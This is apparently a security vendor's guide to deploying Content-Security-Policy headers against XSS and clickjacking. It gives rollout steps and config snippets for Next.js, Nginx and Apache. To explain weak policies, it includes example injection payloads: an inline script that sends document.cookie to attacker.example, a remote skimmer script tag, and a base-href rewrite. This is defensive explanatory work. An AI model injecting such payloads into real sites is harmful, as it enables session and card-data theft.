Beamfar

Content-Security-Policy (CSP) header guide: prevent XSS without breaking your site

A Content-Security-Policy (CSP) HTTP response header tells every visitor’s browser exactly which origins are allowed to execute JavaScript, load stylesheets, open API connections, submit forms and embed the page in a frame. Even when an attacker finds a stored Cross-Site Scripting (XSS) bug in a CMS plugin, an unescaped template variable or a compromised checkout theme, a strict CSP prevents the injected script from executing or exfiltrating card and session data to an attacker’s domain.

Yet across live production websites, CSP is the security header teams either skip completely or ship in a weakened form (script-src 'unsafe-inline' *) that looks present on a checklist while offering minimal protection against real script injection. This guide walks through how browsers evaluate CSP Level 2 and Level 3 rules, which directives actually stop XSS and clickjacking, and how to roll out a policy using Report-Only mode without breaking analytics, payment widgets or checkout pages.

Why unsafe-inline, unsafe-eval and wildcards break XSS defence

Every CSP begins with default-src as a fallback, plus specific fetch directives such as script-src, style-src, img-src, font-src, connect-src and frame-src. For XSS prevention, script-src is the directive that decides whether attacker-injected code runs:

  • 'unsafe-inline' without a nonce or hash: Allows any inline <script>...</script> block and inline event handler (onload=, onerror=, onclick=) in the HTML document to execute. If an attacker injects <script>fetch('https://attacker.example/?c='+document.cookie)</script>, the browser executes it immediately.
  • 'unsafe-eval': Allows strings to be converted into executable JavaScript through eval(), new Function(), or string arguments to setTimeout(). Many XSS gadgets rely on eval-style sinks to turn data into code.
  • Wildcard * or broad schemes (https:, http:, data:): Allowing https: or * in script-src lets an injected <script src="https://attacker.example/skimmer.js"> load from anywhere on the public internet. Allowing data: lets attackers encode executable JavaScript directly inside a data:text/javascript,... URI.
  • Missing object-src 'none' and base-uri 'self': Even a clean script-src can be bypassed if legacy <object>/<embed> plugins are allowed or if an attacker injects <base href="https://attacker.example/"> to rewrite every relative <script src="/app.js"> tag on the page.

The CSP Level 2/3 nonce and strict-dynamic rule

Modern teams do not have to maintain brittle lists of 40 third-party CDN domains. Under CSP Level 2 and Level 3, browsers support per-request cryptographic nonces (a fresh random base64 value generated on every HTTP response and attached to trusted <script nonce="..."> tags) and 'strict-dynamic' (which trusts scripts dynamically loaded by an already-trusted nonced script).

Crucially, the W3C CSP specification states that whenever a nonce, a SHA-256/384/512 hash or 'strict-dynamic' is present in script-src, modern browsers automatically ignore 'unsafe-inline' (and ignore host allowlists when 'strict-dynamic' is active). Keeping 'unsafe-inline' strictly as a legacy fallback alongside a fresh nonce does not weaken modern browsers — though you should verify that your application genuinely rotates the nonce on every request rather than caching one static nonce at a CDN edge.

Check it now. The Content-Security-Policy (CSP) checker audits HTTP and meta Content-Security-Policy headers against XSS bypasses (unsafe-inline, unsafe-eval, wildcards, missing object-src/base-uri), frame-ancestors clickjacking rules and live third-party script hosts; the security headers checker reads a page’s HSTS, CSP, X-Content-Type-Options, frame protection, Referrer-Policy and Permissions-Policy. No account, and the address is not stored.

Directives that must live in HTTP headers, not meta tags

Developers sometimes place <meta http-equiv="Content-Security-Policy" content="..."> inside HTML <head> on static hosting platforms. While browsers enforce fetch directives like script-src and img-src from a <meta> tag, the W3C specification explicitly ignores three security-critical directives inside <meta> policies:

  1. frame-ancestors — the modern replacement for X-Frame-Options that prevents clickjacking (frame-ancestors 'none' or frame-ancestors 'self').
  2. report-uri / report-to — violation reporting endpoints that tell you when a legitimate script or an injection attempt is blocked.
  3. sandbox — frame sandboxing restrictions.

In addition, <meta> CSP cannot be tested in Report-Only mode. Always deliver CSP as an HTTP response header from Nginx, Apache, Cloudflare or your application middleware.

The safe four-step rollout plan (zero broken checkouts)

Never push a brand-new enforcing Content-Security-Policy straight to production on an active store or SaaS application. Follow this four-step rollout:

  1. Inventory every live script and frame host first. Inspect your homepage, login page, pricing page and checkout flow to list every external script host (such as Stripe, PayPal, analytics, chat widgets or font CDNs) and count inline <script> blocks. You can list a page’s external script hosts and inspect existing CSP headers with our Content-Security-Policy (CSP) checker and mixed content & third-party script checker.
  2. Ship Content-Security-Policy-Report-Only first. Browsers evaluate the policy on every real visitor session and log every violation to DevTools (and your report-to endpoint if configured), while blocking nothing.
  3. Fix real violations over one to two weeks. Move inline event handlers into bundled files, attach per-request nonces to inline boot scripts, or allowlist exact payment and CDN origins. Watch out for staging or third-party tag managers injecting unexpected hosts.
  4. Rename the header to Content-Security-Policy. Once reports stay quiet across desktop, mobile and checkout flows, enforce the header — and keep monitoring so a reverse-proxy change, host migration or CMS cache plugin does not strip it silently.

Copy-paste CSP rules by stack

Next.js / Node middleware (strict nonce + strict-dynamic)

const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = [
  "default-src 'self'",
  `script-src 'nonce-${nonce}' 'strict-dynamic'`,
  "style-src 'self' 'unsafe-inline'",
  "img-src 'self' data: https:",
  "object-src 'none'",
  "base-uri 'self'",
  "form-action 'self'",
  "frame-ancestors 'none'",
  'upgrade-insecure-requests',
].join('; ');
response.headers.set('Content-Security-Policy', csp);

Nginx (Report-Only rollout header)

add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; upgrade-insecure-requests" always;

Note the trailing always; parameter in Nginx: without it, Nginx omits the header on HTTP 4xx and 5xx error pages.

Apache .htaccess (WordPress & WooCommerce starter)

<IfModule mod_headers.c>
  Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' https://js.stripe.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data: https:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; upgrade-insecure-requests"
</IfModule>

Test cart, checkout and wp-admin carefully before switching Content-Security-Policy-Report-Only to Content-Security-Policy, and verify with curl -sI that an upstream Nginx proxy or CDN is not overriding .htaccess.

Common CSP mistakes that silently weaken protection

  • Using commas between sources (script-src 'self', https://cdn.example): CSP sources are separated by spaces, not commas. Commas separate multiple policies in a single header, which can unintentionally discard later directives.
  • Using underscores instead of hyphens (script_src): Unknown directive names are silently ignored by browsers, falling back to default-src or leaving scripts unrestricted.
  • Caching a static nonce at the CDN edge: A nonce that never changes across requests can be read by an attacker and reused just like 'unsafe-inline'. Pair nonce CSP with dynamic HTML responses (Cache-Control: private, no-store or edge-worker nonce injection).
  • Shipping Content-Security-Policy-Report-Only and forgetting to enforce it: Months after a security audit, many production sites still send only the Report-Only header, blocking zero attacks.

How Beamfar helps

Beamfar checks your live pages from outside every day as part of external security monitoring: it audits Content-Security-Policy (flagging missing CSP, report-only-only headers and weak script-src rules while respecting CSP Level 2/3 nonces and 'strict-dynamic'), alerts when a page suddenly loads JavaScript from an unexpected third-party host, and checks HSTS, X-Frame-Options / frame-ancestors, session cookie flags, 28 families of leaked frontend API keys and WordPress/OSV CVEs alongside two-region EU uptime monitoring. You can test any public URL right now with no account in our Content-Security-Policy (CSP) checker or security headers checker.

Questions

Does unsafe-inline break CSP if I already use a nonce or strict-dynamic?

No. Under CSP Level 2 and Level 3, modern browsers ignore unsafe-inline whenever a cryptographic nonce, a SHA hash or strict-dynamic appears in script-src. Make sure the nonce is freshly generated on every response and never cached statically at a CDN.

Should I use X-Frame-Options or CSP frame-ancestors to stop clickjacking?

Use HTTP CSP frame-ancestors (such as frame-ancestors ‘none’ or frame-ancestors ‘self’) as your primary control because it supports multiple trusted origins and governs every ancestor frame in the chain. You can keep X-Frame-Options: SAMEORIGIN or DENY alongside it for legacy browsers.

Why does a site break when turning on Content-Security-Policy for the first time?

Inline script blocks, inline onclick handlers, third-party tag managers, payment widgets and analytics beacons are blocked by default once script-src is enforced. Always start with Content-Security-Policy-Report-Only, observe violations across login and checkout flows, and enforce only after the list of legitimate script origins is complete.

Can a static site set frame-ancestors using a meta tag?

No. Browsers intentionally ignore frame-ancestors, report-uri and sandbox when delivered inside an HTML meta http-equiv tag. Configure those directives as HTTP response headers at your host, reverse proxy or CDN edge.

Sources

Read on . Standards and vendor pages change; confirm the current text before you rely on it.

Terms used in this guide

  • Content-Security-Policy (CSP)Content-Security-Policy (CSP) is an HTTP response header telling browsers which scripts, styles, forms and framing origins a page trusts to block XSS.
  • HSTSHSTS is a response header telling browsers to use only HTTPS for a site. What max-age and includeSubDomains do, and why an expired certificate then hurts.
  • TLS certificateA TLS certificate proves a website holds the name in the address bar and enables HTTPS. What it contains, how long it lasts, what expiry breaks.

Try it on your own sites.

Add your sites: checking starts as soon as you do.

No card for the Free plan.